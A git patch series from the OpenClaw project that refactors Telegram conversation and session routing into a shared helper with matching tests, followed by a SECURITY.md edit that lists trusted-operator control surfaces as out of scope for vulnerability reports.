nextStore[legacyKey]; + } + } }); } else if (abortKey) { setAbortMemory(abortKey, true); diff --git a/src/auto-reply/reply/dispatch-from-config.ts b/src/auto-reply/reply/dispatch-from-config.ts index 003a8f37435..786b1a7c16b 100644 --- a/src/auto-reply/reply/dispatch-from-config.ts +++ b/src/auto-reply/reply/dispatch-from-config.ts @@ -1,6 +1,11 @@ import { resolveSessionAgentId } from "../../agents/agent-scope.js"; import type { OpenClawConfig } from "../../config/config.js"; -import { loadSessionStore, resolveStorePath, type SessionEntry } from "../../config/sessions.js"; +import { + loadSessionStore, + resolveSessionStoreEntry, + resolveStorePath, + type SessionEntry, +} from "../../config/sessions.js"; import { logVerbose } from "../../globals.js"; import { fireAndForgetHook } from "../../hooks/fire-and-forget.js"; import { createInternalHookEvent, triggerInternalHook } from "../../hooks/internal-hooks.js"; @@ -65,7 +70,7 @@ const isInboundAudioContext = (ctx: FinalizedMsgContext): boolean => { return AUDIO_HEADER_RE.test(trimmed); }; -const resolveSessionStoreEntry = ( +const resolveSessionStoreLookup = ( ctx: FinalizedMsgContext, cfg: OpenClawConfig, ): { @@ -84,7 +89,7 @@ const resolveSessionStoreEntry = ( const store = loadSessionStore(storePath); return { sessionKey, - entry: store[sessionKey.toLowerCase()] ?? store[sessionKey], + entry: resolveSessionStoreEntry({ store, sessionKey }).existing, }; } catch { return { @@ -164,7 +169,7 @@ export async function dispatchReplyFromConfig(params: { return { queuedFinal: false, counts: dispatcher.getQueuedCounts() }; } - const sessionStoreEntry = resolveSessionStoreEntry(ctx, cfg); + const sessionStoreEntry = resolveSessionStoreLookup(ctx, cfg); const acpDispatchSessionKey = sessionStoreEntry.sessionKey ?? sessionKey; const inboundAudio = isInboundAudioContext(ctx); const sessionTtsAuto = normalizeTtsAutoMode(sessionStoreEntry.entry?.ttsAuto); diff --git a/src/config/sessions/store.ts b/src/config/sessions/store.ts index 9984752985d..a70285c4c62 100644 --- a/src/config/sessions/store.ts +++ b/src/config/sessions/store.ts @@ -108,11 +108,11 @@ function removeThreadFromDeliveryContext(context?: DeliveryContext): DeliveryCon return next; } -function normalizeStoreSessionKey(sessionKey: string): string { +export function normalizeStoreSessionKey(sessionKey: string): string { return sessionKey.trim().toLowerCase(); } -function resolveStoreSessionEntry(params: { +export function resolveSessionStoreEntry(params: { store: Record; sessionKey: string; }): { @@ -275,7 +275,7 @@ export function readSessionUpdatedAt(params: { }): number | undefined { try { const store = loadSessionStore(params.storePath); - const resolved = resolveStoreSessionEntry({ store, sessionKey: params.sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey: params.sessionKey }); return resolved.existing?.updatedAt; } catch { return undefined; @@ -611,7 +611,7 @@ async function writeSessionStoreAtomic(params: { async function persistResolvedSessionEntry(params: { storePath: string; store: Record; - resolved: ReturnType; + resolved: ReturnType; next: SessionEntry; }): Promise { params.store[params.resolved.normalizedKey] = params.next; @@ -734,7 +734,7 @@ export async function updateSessionStoreEntry(params: { const { storePath, sessionKey, update } = params; return await withSessionStoreLock(storePath, async () => { const store = loadSessionStore(storePath, { skipCache: true }); - const resolved = resolveStoreSessionEntry({ store, sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey }); const existing = resolved.existing; if (!existing) { return null; @@ -765,7 +765,7 @@ export async function recordSessionMetaFromInbound(params: { return await updateSessionStore( storePath, (store) => { - const resolved = resolveStoreSessionEntry({ store, sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey }); const existing = resolved.existing; const patch = deriveSessionMetaPatch({ ctx, @@ -814,7 +814,7 @@ export async function updateLastRoute(params: { const { storePath, sessionKey, channel, to, accountId, threadId, ctx } = params; return await withSessionStoreLock(storePath, async () => { const store = loadSessionStore(storePath); - const resolved = resolveStoreSessionEntry({ store, sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey }); const existing = resolved.existing; const now = Date.now(); const explicitContext = normalizeDeliveryContext(params.deliveryContext); diff --git a/src/telegram/bot-handlers.ts b/src/telegram/bot-handlers.ts index 6df34fe2c60..aaea84ecad7 100644 --- a/src/telegram/bot-handlers.ts +++ b/src/telegram/bot-handlers.ts @@ -16,7 +16,11 @@ import { shouldDebounceTextInbound } from "../channels/inbound-debounce-policy.j import { resolveChannelConfigWrites } from "../channels/plugins/config-writes.js"; import { loadConfig } from "../config/config.js"; import { writeConfigFile } from "../config/io.js"; -import { loadSessionStore, resolveStorePath } from "../config/sessions.js"; +import { + loadSessionStore, + resolveSessionStoreEntry, + resolveStorePath, +} from "../config/sessions.js"; import type { DmPolicy } from "../config/types.base.js"; import type { TelegramDirectConfig, @@ -50,6 +54,7 @@ import { resolveTelegramGroupAllowFromContext, } from "./bot/helpers.js"; import type { TelegramContext } from "./bot/types.js"; +import { resolveTelegramConversationRoute } from "./conversation-route.js"; import { enforceTelegramDmAccess } from "./dm-access.js"; import { evaluateTelegramGroupBaseAccess, @@ -268,9 +273,10 @@ export const registerTelegramHandlers = ({ isForum: boolean; messageThreadId?: number; resolvedThreadId?: number; + senderId?: string | number; }): { agentId: string; - sessionEntry: ReturnType[string]; + sessionEntry: ReturnType[string] | undefined; model?: string; } => { const resolvedThreadId = @@ -279,26 +285,20 @@ export const registerTelegramHandlers = ({ isForum: params.isForum, messageThreadId: params.messageThreadId, }); - const peerId = params.isGroup - ? buildTelegramGroupPeerId(params.chatId, resolvedThreadId) - : String(params.chatId); - const parentPeer = buildTelegramParentPeer({ + const dmThreadId = !params.isGroup ? params.messageThreadId : undefined; + const topicThreadId = resolvedThreadId ?? dmThreadId; + const { topicConfig } = resolveTelegramGroupConfig(params.chatId, topicThreadId); + const { route } = resolveTelegramConversationRoute({ + cfg, + accountId, + chatId: params.chatId, isGroup: params.isGroup, resolvedThreadId, - chatId: params.chatId, - }); - const route = resolveAgentRoute({ - cfg, - channel: "telegram", - accountId, - peer: { - kind: params.isGroup ? "group" : "direct", - id: peerId, - }, - parentPeer, + replyThreadId: topicThreadId, + senderId: params.senderId, + topicAgentId: topicConfig?.agentId, }); const baseSessionKey = route.sessionKey; - const dmThreadId = !params.isGroup ? params.messageThreadId : undefined; const threadKeys = dmThreadId != null ? resolveThreadSessionKeys({ baseSessionKey, threadId: `${params.chatId}:${dmThreadId}` }) @@ -306,7 +306,7 @@ export const registerTelegramHandlers = ({ const sessionKey = threadKeys?.sessionKey ?? baseSessionKey; const storePath = resolveStorePath(cfg.session?.store, { agentId: route.agentId }); const store = loadSessionStore(storePath); - const entry = store[sessionKey]; + const entry = resolveSessionStoreEntry({ store, sessionKey }).existing; const storedOverride = resolveStoredModelOverride({ sessionEntry: entry, sessionStore: store, diff --git a/src/telegram/bot-message-context.ts b/src/telegram/bot-message-context.ts index 72cfc527661..ab628dc0e0a 100644 --- a/src/telegram/bot-message-context.ts +++ b/src/telegram/bot-message-context.ts @@ -1,8 +1,5 @@ import type { Bot } from "grammy"; -import { - ensureConfiguredAcpRouteReady, - resolveConfiguredAcpRoute, -} from "../acp/persistent-bindings.route.js"; +import { ensureConfiguredAcpRouteReady } from "../acp/persistent-bindings.route.js"; import { resolveAckReaction } from "../agents/identity.js"; import { findModelInCatalog, @@ -42,19 +39,7 @@ import type { } from "../config/types.js"; import { logVerbose, shouldLogVerbose } from "../globals.js"; import { recordChannelActivity } from "../infra/channel-activity.js"; -import { getSessionBindingService } from "../infra/outbound/session-binding-service.js"; -import { - buildAgentSessionKey, - pickFirstExistingAgentId, - resolveAgentRoute, - type ResolvedAgentRoute, -} from "../routing/resolve-route.js"; -import { - DEFAULT_ACCOUNT_ID, - buildAgentMainSessionKey, - resolveAgentIdFromSessionKey, - resolveThreadSessionKeys, -} from "../routing/session-key.js"; +import { DEFAULT_ACCOUNT_ID, resolveThreadSessionKeys } from "../routing/session-key.js"; import { resolvePinnedMainDmOwnerFromAllowlist } from "../security/dm-policy-shared.js"; import { withTelegramApiErrorLogging } from "./api-logging.js"; import { @@ -67,10 +52,8 @@ import { buildGroupLabel, buildSenderLabel, buildSenderName, - resolveTelegramDirectPeerId, buildTelegramGroupFrom, buildTelegramGroupPeerId, - buildTelegramParentPeer, buildTypingThreadParams, resolveTelegramMediaPlaceholder, expandTextLinks, @@ -81,6 +64,7 @@ import { resolveTelegramThreadSpec, } from "./bot/helpers.js"; import type { StickerMetadata, TelegramContext } from "./bot/types.js"; +import { resolveTelegramConversationRoute } from "./conversation-route.js"; import { enforceTelegramDmAccess } from "./dm-access.js"; import { isTelegramForumServiceMessage } from "./forum-service-message.js"; import { evaluateTelegramGroupBaseAccess } from "./group-access.js"; @@ -209,89 +193,21 @@ export const buildTelegramMessageContext = async ({ !isGroup && groupConfig && "dmPolicy" in groupConfig ? (groupConfig.dmPolicy ?? dmPolicy) : dmPolicy; - const peerId = isGroup - ? buildTelegramGroupPeerId(chatId, resolvedThreadId) - : resolveTelegramDirectPeerId({ chatId, senderId }); - const parentPeer = buildTelegramParentPeer({ isGroup, resolvedThreadId, chatId }); // Fresh config for bindings lookup; other routing inputs are payload-derived. const freshCfg = loadConfig(); - let route: ResolvedAgentRoute = resolveAgentRoute({ + let { route, configuredBinding, configuredBindingSessionKey } = resolveTelegramConversationRoute({ cfg: freshCfg, - channel: "telegram", accountId: account.accountId, - peer: { - kind: isGroup ? "group" : "direct", - id: peerId, - }, - parentPeer, + chatId, + isGroup, + resolvedThreadId, + replyThreadId, + senderId, + topicAgentId: topicConfig?.agentId, }); - // Per-topic agentId override: re-derive session key under the topic's agent. - const rawTopicAgentId = topicConfig?.agentId?.trim(); - if (rawTopicAgentId) { - // Validate agentId against configured agents; falls back to default if not found. - const topicAgentId = pickFirstExistingAgentId(freshCfg, rawTopicAgentId); - const overrideSessionKey = buildAgentSessionKey({ - agentId: topicAgentId, - channel: "telegram", - accountId: account.accountId, - peer: { kind: isGroup ? "group" : "direct", id: peerId }, - dmScope: freshCfg.session?.dmScope, - identityLinks: freshCfg.session?.identityLinks, - }).toLowerCase(); - const overrideMainSessionKey = buildAgentMainSessionKey({ - agentId: topicAgentId, - }).toLowerCase(); - route = { - ...route, - agentId: topicAgentId, - sessionKey: overrideSessionKey, - mainSessionKey: overrideMainSessionKey, - }; - logVerbose( - `telegram: per-topic agent override: topic=${resolvedThreadId ?? dmThreadId} agent=${topicAgentId} sessionKey=${overrideSessionKey}`, - ); - } - const configuredRoute = resolveConfiguredAcpRoute({ - cfg: freshCfg, - route, - channel: "telegram", - accountId: account.accountId, - conversationId: peerId, - parentConversationId: isGroup ? String(chatId) : undefined, - }); - let configuredBinding = configuredRoute.configuredBinding; - let configuredBindingSessionKey = configuredRoute.boundSessionKey ?? ""; - route = configuredRoute.route; - const threadBindingConversationId = - replyThreadId != null - ? `${chatId}:topic:${replyThreadId}` - : !isGroup - ? String(chatId) - : undefined; - if (threadBindingConversationId) { - const threadBinding = getSessionBindingService().resolveByConversation({ - channel: "telegram", - accountId: account.accountId, - conversationId: threadBindingConversationId, - }); - const boundSessionKey = threadBinding?.targetSessionKey?.trim(); - if (threadBinding && boundSessionKey) { - route = { - ...route, - sessionKey: boundSessionKey, - agentId: resolveAgentIdFromSessionKey(boundSessionKey), - matchedBy: "binding.channel", - }; - configuredBinding = null; - configuredBindingSessionKey = ""; - getSessionBindingService().touch(threadBinding.bindingId); - logVerbose( - `telegram: routed via bound conversation ${threadBindingConversationId} -> ${boundSessionKey}`, - ); - } - } - const requiresExplicitAccountBinding = (candidate: ResolvedAgentRoute): boolean => - candidate.accountId !== DEFAULT_ACCOUNT_ID && candidate.matchedBy === "default"; + const requiresExplicitAccountBinding = ( + candidate: ReturnType["route"], + ): boolean => candidate.accountId !== DEFAULT_ACCOUNT_ID && candidate.matchedBy === "default"; // Fail closed for named Telegram accounts when route resolution falls back to // default-agent routing. This prevents cross-account DM/session contamination. if (requiresExplicitAccountBinding(route)) { diff --git a/src/telegram/bot-message-dispatch.test.ts b/src/telegram/bot-message-dispatch.test.ts index b0411e65e70..2e6cf158f10 100644 --- a/src/telegram/bot-message-dispatch.test.ts +++ b/src/telegram/bot-message-dispatch.test.ts @@ -30,10 +30,14 @@ vi.mock("./send.js", () => ({ editMessageTelegram, })); -vi.mock("../config/sessions.js", async () => ({ - loadSessionStore, - resolveStorePath, -})); +vi.mock("../config/sessions.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + loadSessionStore, + resolveStorePath, + }; +}); vi.mock("./sticker-cache.js", () => ({ cacheSticker: vi.fn(), diff --git a/src/telegram/bot-message-dispatch.ts b/src/telegram/bot-message-dispatch.ts index 0433fed9f7a..e6f2f65218d 100644 --- a/src/telegram/bot-message-dispatch.ts +++ b/src/telegram/bot-message-dispatch.ts @@ -15,7 +15,11 @@ import { logAckFailure, logTypingFailure } from "../channels/logging.js"; import { createReplyPrefixOptions } from "../channels/reply-prefix.js"; import { createTypingCallbacks } from "../channels/typing.js"; import { resolveMarkdownTableMode } from "../config/markdown-tables.js"; -import { loadSessionStore, resolveStorePath } from "../config/sessions.js"; +import { + loadSessionStore, + resolveSessionStoreEntry, + resolveStorePath, +} from "../config/sessions.js"; import type { OpenClawConfig, ReplyToMode, TelegramAccountConfig } from "../config/types.js"; import { danger, logVerbose } from "../globals.js"; import { getAgentScopedMediaLocalRoots } from "../media/local-roots.js"; @@ -117,7 +121,7 @@ function resolveTelegramReasoningLevel(params: { try { const storePath = resolveStorePath(cfg.session?.store, { agentId }); const store = loadSessionStore(storePath, { skipCache: true }); - const entry = store[sessionKey.toLowerCase()] ?? store[sessionKey]; + const entry = resolveSessionStoreEntry({ store, sessionKey }).existing; const level = entry?.reasoningLevel; if (level === "on" || level === "stream") { return level; diff --git a/src/telegram/bot-native-commands.session-meta.test.ts b/src/telegram/bot-native-commands.session-meta.test.ts index 968529d8217..9f0a9f4116d 100644 --- a/src/telegram/bot-native-commands.session-meta.test.ts +++ b/src/telegram/bot-native-commands.session-meta.test.ts @@ -1,6 +1,9 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { registerTelegramNativeCommands } from "./bot-native-commands.js"; +import { + registerTelegramNativeCommands, + type RegisterTelegramHandlerParams, +} from "./bot-native-commands.js"; import { createNativeCommandTestParams } from "./bot-native-commands.test-helpers.js"; // All mocks scoped to this file only — does not affect bot-native-commands.test.ts @@ -24,6 +27,12 @@ const sessionMocks = vi.hoisted(() => ({ const replyMocks = vi.hoisted(() => ({ dispatchReplyWithBufferedBlockDispatcher: vi.fn(async () => undefined), })); +const sessionBindingMocks = vi.hoisted(() => ({ + resolveByConversation: vi.fn< + (ref: unknown) => { bindingId: string; targetSessionKey: string } | null + >(() => null), + touch: vi.fn(), +})); vi.mock("../acp/persistent-bindings.js", async (importOriginal) => { const actual = await importOriginal(); @@ -49,6 +58,16 @@ vi.mock("../auto-reply/reply/provider-dispatcher.js", () => ({ vi.mock("../channels/reply-prefix.js", () => ({ createReplyPrefixOptions: vi.fn(() => ({ onModelSelected: () => {} })), })); +vi.mock("../infra/outbound/session-binding-service.js", () => ({ + getSessionBindingService: () => ({ + bind: vi.fn(), + getCapabilities: vi.fn(), + listBySession: vi.fn(), + resolveByConversation: (ref: unknown) => sessionBindingMocks.resolveByConversation(ref), + touch: (bindingId: string, at?: number) => sessionBindingMocks.touch(bindingId, at), + unbind: vi.fn(), + }), +})); vi.mock("../auto-reply/skill-commands.js", async (importOriginal) => { const actual = await importOriginal(); return { ...actual, listSkillCommandsForAgents: vi.fn(() => []) }; @@ -106,11 +125,12 @@ function registerAndResolveStatusHandler(params: { cfg: OpenClawConfig; allowFrom?: string[]; groupAllowFrom?: string[]; + resolveTelegramGroupConfig?: RegisterTelegramHandlerParams["resolveTelegramGroupConfig"]; }): { handler: TelegramCommandHandler; sendMessage: ReturnType; } { - const { cfg, allowFrom, groupAllowFrom } = params; + const { cfg, allowFrom, groupAllowFrom, resolveTelegramGroupConfig } = params; const commandHandlers = new Map(); const sendMessage = vi.fn().mockResolvedValue(undefined); registerTelegramNativeCommands({ @@ -127,6 +147,7 @@ function registerAndResolveStatusHandler(params: { cfg, allowFrom: allowFrom ?? ["*"], groupAllowFrom: groupAllowFrom ?? [], + resolveTelegramGroupConfig, }), }); @@ -141,11 +162,19 @@ function registerAndResolveCommandHandler(params: { allowFrom?: string[]; groupAllowFrom?: string[]; useAccessGroups?: boolean; + resolveTelegramGroupConfig?: RegisterTelegramHandlerParams["resolveTelegramGroupConfig"]; }): { handler: TelegramCommandHandler; sendMessage: ReturnType; } { - const { commandName, cfg, allowFrom, groupAllowFrom, useAccessGroups } = params; + const { + commandName, + cfg, + allowFrom, + groupAllowFrom, + useAccessGroups, + resolveTelegramGroupConfig, + } = params; const commandHandlers = new Map(); const sendMessage = vi.fn().mockResolvedValue(undefined); registerTelegramNativeCommands({ @@ -163,6 +192,7 @@ function registerAndResolveCommandHandler(params: { allowFrom: allowFrom ?? [], groupAllowFrom: groupAllowFrom ?? [], useAccessGroups: useAccessGroups ?? true, + resolveTelegramGroupConfig, }), }); @@ -183,6 +213,8 @@ describe("registerTelegramNativeCommands — session metadata", () => { sessionMocks.recordSessionMetaFromInbound.mockClear().mockResolvedValue(undefined); sessionMocks.resolveStorePath.mockClear().mockReturnValue("/tmp/openclaw-sessions.json"); replyMocks.dispatchReplyWithBufferedBlockDispatcher.mockClear().mockResolvedValue(undefined); + sessionBindingMocks.resolveByConversation.mockReset().mockReturnValue(null); + sessionBindingMocks.touch.mockReset(); }); it("calls recordSessionMetaFromInbound after a native slash command", async () => { @@ -273,6 +305,58 @@ describe("registerTelegramNativeCommands — session metadata", () => { expect(sessionMetaCall?.sessionKey).toBe("agent:codex:telegram:slash:200"); }); + it("routes Telegram native commands through topic-specific agent sessions", async () => { + const { handler } = registerAndResolveStatusHandler({ + cfg: {}, + allowFrom: ["200"], + groupAllowFrom: ["200"], + resolveTelegramGroupConfig: () => ({ + groupConfig: { requireMention: false }, + topicConfig: { agentId: "zu" }, + }), + }); + await handler(buildStatusTopicCommandContext()); + + const dispatchCall = ( + replyMocks.dispatchReplyWithBufferedBlockDispatcher.mock.calls as unknown as Array< + [{ ctx?: { CommandTargetSessionKey?: string } }] + > + )[0]?.[0]; + expect(dispatchCall?.ctx?.CommandTargetSessionKey).toBe( + "agent:zu:telegram:group:-1001234567890:topic:42", + ); + }); + + it("routes Telegram native commands through bound topic sessions", async () => { + sessionBindingMocks.resolveByConversation.mockReturnValue({ + bindingId: "default:-1001234567890:topic:42", + targetSessionKey: "agent:codex-acp:session-1", + }); + + const { handler } = registerAndResolveStatusHandler({ + cfg: {}, + allowFrom: ["200"], + groupAllowFrom: ["200"], + }); + await handler(buildStatusTopicCommandContext()); + + expect(sessionBindingMocks.resolveByConversation).toHaveBeenCalledWith({ + channel: "telegram", + accountId: "default", + conversationId: "-1001234567890:topic:42", + }); + const dispatchCall = ( + replyMocks.dispatchReplyWithBufferedBlockDispatcher.mock.calls as unknown as Array< + [{ ctx?: { CommandTargetSessionKey?: string } }] + > + )[0]?.[0]; + expect(dispatchCall?.ctx?.CommandTargetSessionKey).toBe("agent:codex-acp:session-1"); + expect(sessionBindingMocks.touch).toHaveBeenCalledWith( + "default:-1001234567890:topic:42", + undefined, + ); + }); + it("aborts native command dispatch when configured ACP topic binding cannot initialize", async () => { const boundSessionKey = "agent:codex:acp:binding:telegram:default:feedface"; persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue({ diff --git a/src/telegram/bot-native-commands.test-helpers.ts b/src/telegram/bot-native-commands.test-helpers.ts index 0a749841d76..b79d61d48a3 100644 --- a/src/telegram/bot-native-commands.test-helpers.ts +++ b/src/telegram/bot-native-commands.test-helpers.ts @@ -19,6 +19,7 @@ export function createNativeCommandTestParams(params: { nativeEnabled?: boolean; nativeSkillsEnabled?: boolean; nativeDisabledExplicit?: boolean; + resolveTelegramGroupConfig?: RegisterTelegramNativeCommandParams["resolveTelegramGroupConfig"]; opts?: RegisterTelegramNativeCommandParams["opts"]; }): RegisterTelegramNativeCommandParams { return { @@ -36,10 +37,12 @@ export function createNativeCommandTestParams(params: { nativeSkillsEnabled: params.nativeSkillsEnabled ?? true, nativeDisabledExplicit: params.nativeDisabledExplicit ?? false, resolveGroupPolicy: () => ({ allowlistEnabled: false, allowed: true }), - resolveTelegramGroupConfig: () => ({ - groupConfig: undefined, - topicConfig: undefined, - }), + resolveTelegramGroupConfig: + params.resolveTelegramGroupConfig ?? + (() => ({ + groupConfig: undefined, + topicConfig: undefined, + })), shouldSkipUpdate: () => false, opts: params.opts ?? { token: "token" }, }; diff --git a/src/telegram/bot-native-commands.ts b/src/telegram/bot-native-commands.ts index b8a2b980f27..cc00a46dd8a 100644 --- a/src/telegram/bot-native-commands.ts +++ b/src/telegram/bot-native-commands.ts @@ -1,8 +1,5 @@ import type { Bot, Context } from "grammy"; -import { - ensureConfiguredAcpRouteReady, - resolveConfiguredAcpRoute, -} from "../acp/persistent-bindings.route.js"; +import { ensureConfiguredAcpRouteReady } from "../acp/persistent-bindings.route.js"; import { resolveChunkMode } from "../auto-reply/chunk.js"; import type { CommandArgs } from "../auto-reply/commands-registry.js"; import { @@ -60,12 +57,11 @@ import { buildTelegramThreadParams, buildSenderName, buildTelegramGroupFrom, - buildTelegramGroupPeerId, - buildTelegramParentPeer, resolveTelegramGroupAllowFromContext, resolveTelegramThreadSpec, } from "./bot/helpers.js"; import type { TelegramContext } from "./bot/types.js"; +import { resolveTelegramConversationRoute } from "./conversation-route.js"; import { evaluateTelegramGroupBaseAccess, evaluateTelegramGroupPolicyAccess, @@ -424,15 +420,17 @@ export const registerTelegramNativeCommands = ({ isGroup: boolean; isForum: boolean; resolvedThreadId?: number; + senderId?: string; + topicAgentId?: string; }): Promise<{ chatId: number; threadSpec: ReturnType; - route: ReturnType; + route: ReturnType["route"]; mediaLocalRoots: readonly string[] | undefined; tableMode: ReturnType; chunkMode: ReturnType; } | null> => { - const { msg, isGroup, isForum, resolvedThreadId } = params; + const { msg, isGroup, isForum, resolvedThreadId, senderId, topicAgentId } = params; const chatId = msg.chat.id; const messageThreadId = (msg as { message_thread_id?: number }).message_thread_id; const threadSpec = resolveTelegramThreadSpec({ @@ -440,28 +438,16 @@ export const registerTelegramNativeCommands = ({ isForum, messageThreadId, }); - const parentPeer = buildTelegramParentPeer({ isGroup, resolvedThreadId, chatId }); - const peerId = isGroup ? buildTelegramGroupPeerId(chatId, resolvedThreadId) : String(chatId); - let route = resolveAgentRoute({ + let { route, configuredBinding } = resolveTelegramConversationRoute({ cfg, - channel: "telegram", accountId, - peer: { - kind: isGroup ? "group" : "direct", - id: peerId, - }, - parentPeer, + chatId, + isGroup, + resolvedThreadId, + replyThreadId: threadSpec.id, + senderId, + topicAgentId, }); - const configuredRoute = resolveConfiguredAcpRoute({ - cfg, - route, - channel: "telegram", - accountId, - conversationId: peerId, - parentConversationId: isGroup ? String(chatId) : undefined, - }); - const configuredBinding = configuredRoute.configuredBinding; - route = configuredRoute.route; if (configuredBinding) { const ensured = await ensureConfiguredAcpRouteReady({ cfg, @@ -562,6 +548,8 @@ export const registerTelegramNativeCommands = ({ isGroup, isForum, resolvedThreadId, + senderId, + topicAgentId: topicConfig?.agentId, }); if (!runtimeContext) { return; @@ -788,6 +776,8 @@ export const registerTelegramNativeCommands = ({ isGroup, isForum, resolvedThreadId, + senderId, + topicAgentId: auth.topicConfig?.agentId, }); if (!runtimeContext) { return; diff --git a/src/telegram/conversation-route.ts b/src/telegram/conversation-route.ts new file mode 100644 index 00000000000..478e9049f7a --- /dev/null +++ b/src/telegram/conversation-route.ts @@ -0,0 +1,122 @@ +import { resolveConfiguredAcpRoute } from "../acp/persistent-bindings.route.js"; +import type { OpenClawConfig } from "../config/config.js"; +import { logVerbose } from "../globals.js"; +import { getSessionBindingService } from "../infra/outbound/session-binding-service.js"; +import { + buildAgentSessionKey, + pickFirstExistingAgentId, + resolveAgentRoute, +} from "../routing/resolve-route.js"; +import { buildAgentMainSessionKey, resolveAgentIdFromSessionKey } from "../routing/session-key.js"; +import { + buildTelegramGroupPeerId, + buildTelegramParentPeer, + resolveTelegramDirectPeerId, +} from "./bot/helpers.js"; + +export function resolveTelegramConversationRoute(params: { + cfg: OpenClawConfig; + accountId: string; + chatId: number | string; + isGroup: boolean; + resolvedThreadId?: number; + replyThreadId?: number; + senderId?: string | number | null; + topicAgentId?: string | null; +}): { + route: ReturnType; + configuredBinding: ReturnType["configuredBinding"]; + configuredBindingSessionKey: string; +} { + const peerId = params.isGroup + ? buildTelegramGroupPeerId(params.chatId, params.resolvedThreadId) + : resolveTelegramDirectPeerId({ + chatId: params.chatId, + senderId: params.senderId, + }); + const parentPeer = buildTelegramParentPeer({ + isGroup: params.isGroup, + resolvedThreadId: params.resolvedThreadId, + chatId: params.chatId, + }); + let route = resolveAgentRoute({ + cfg: params.cfg, + channel: "telegram", + accountId: params.accountId, + peer: { + kind: params.isGroup ? "group" : "direct", + id: peerId, + }, + parentPeer, + }); + + const rawTopicAgentId = params.topicAgentId?.trim(); + if (rawTopicAgentId) { + const topicAgentId = pickFirstExistingAgentId(params.cfg, rawTopicAgentId); + route = { + ...route, + agentId: topicAgentId, + sessionKey: buildAgentSessionKey({ + agentId: topicAgentId, + channel: "telegram", + accountId: params.accountId, + peer: { kind: params.isGroup ? "group" : "direct", id: peerId }, + dmScope: params.cfg.session?.dmScope, + identityLinks: params.cfg.session?.identityLinks, + }).toLowerCase(), + mainSessionKey: buildAgentMainSessionKey({ + agentId: topicAgentId, + }).toLowerCase(), + }; + logVerbose( + `telegram: topic route override: topic=${params.resolvedThreadId ?? params.replyThreadId} agent=${topicAgentId} sessionKey=${route.sessionKey}`, + ); + } + + const configuredRoute = resolveConfiguredAcpRoute({ + cfg: params.cfg, + route, + channel: "telegram", + accountId: params.accountId, + conversationId: peerId, + parentConversationId: params.isGroup ? String(params.chatId) : undefined, + }); + let configuredBinding = configuredRoute.configuredBinding; + let configuredBindingSessionKey = configuredRoute.boundSessionKey ?? ""; + route = configuredRoute.route; + + const threadBindingConversationId = + params.replyThreadId != null + ? `${params.chatId}:topic:${params.replyThreadId}` + : !params.isGroup + ? String(params.chatId) + : undefined; + if (threadBindingConversationId) { + const threadBinding = getSessionBindingService().resolveByConversation({ + channel: "telegram", + accountId: params.accountId, + conversationId: threadBindingConversationId, + }); + const boundSessionKey = threadBinding?.targetSessionKey?.trim(); + if (threadBinding && boundSessionKey) { + route = { + ...route, + sessionKey: boundSessionKey, + agentId: resolveAgentIdFromSessionKey(boundSessionKey), + matchedBy: "binding.channel", + }; + configuredBinding = null; + configuredBindingSessionKey = ""; + getSessionBindingService().touch(threadBinding.bindingId); + logVerbose( + `telegram: routed via bound conversation ${threadBindingConversationId} -> ${boundSessionKey}`, + ); + } + } + + return { + route, + configuredBinding, + configuredBindingSessionKey, + }; +} From 53a7e3b6e56ac35c5da652ee294564d30dc1d33b Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 13:52:13 +0000 Subject: [PATCH 120/844] docs(security): clarify trusted operator control surfaces --- SECURITY.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/SECURITY.md b/SECURITY.md index 78a18b606db..5f1e8f0cb9e 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -51,6 +51,7 @@ These are frequently reported but are typically closed with no code change: - Prompt-injection-only chains without a boundary bypass (prompt injection is out of scope). - Operator-intended local features (for example TUI local `!` shell) presented as remote injection. +- Reports that treat explicit operator-control surfaces (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution primitives) as vulnerabilities without demonstrating an auth/policy/sandbox boundary bypass. These capabilities are intentional when enabled and are trusted-operator features, not standalone security bugs. - Authorized user-triggered local actions presented as privilege escalation. Example: an allowlisted/owner sender running `/export-session /absolute/path.html` to write on the host. In this trust model, authorized user actions are trusted host actions unless you demonstrate an auth/sandbox/boundary bypass. - Reports that only show a malicious plugin executing privileged actions after a trusted operator installs/enables it. - Reports that assume per-user multi-tenant authorization on a shared gateway host/config. @@ -119,6 +120,7 @@ Plugins/extensions are part of OpenClaw's trusted computing base for a gateway. - Reports whose only claim is sandbox/workspace read expansion through trusted local skill/workspace symlink state (for example `skills/*/SKILL.md` symlink chains) unless a separate untrusted boundary bypass is shown that creates/controls that state. - Reports whose only claim is post-approval executable identity drift on a trusted host via same-path file replacement/rewrite unless a separate untrusted boundary bypass is shown for that host write primitive. - Reports where the only demonstrated impact is an already-authorized sender intentionally invoking a local-action command (for example `/export-session` writing to an absolute host path) without bypassing auth, sandbox, or another documented boundary +- Reports whose only claim is use of an explicit trusted-operator control surface (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution) without demonstrating an auth, policy, allowlist, approval, or sandbox bypass. - Reports where the only claim is that a trusted-installed/enabled plugin can execute with gateway/host privileges (documented trust model behavior). - Any report whose only claim is that an operator-enabled `dangerous*`/`dangerously*` config option weakens defaults (these are explicit break-glass tradeoffs by design) - Reports that depend on trusted operator-supplied configuration values to trigger availability impact (for example custom regex patterns). These may still be fixed as defense-in-depth hardening, but are not security-boundary bypasses. From 4bf902de5851304cae53c57889b5ae90fa7367a8 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 19:16:11 +0530 Subject: [PATCH 121/844] fix: flatten remote markdown images --- .../ChatMarkdownPreprocessor.swift | 42 +++++++++++++------ .../ChatMarkdownPreprocessorTests.swift | 24 +++++++++++ src/auto-reply/reply/export-html/template.js | 19 +++++++++ .../export-html/template.security.test.ts | 34 +++++++++++++++ ui/src/ui/markdown.test.ts | 19 +++++---- ui/src/ui/markdown.ts | 14 +++++++ 6 files changed, 133 insertions(+), 19 deletions(-) diff --git 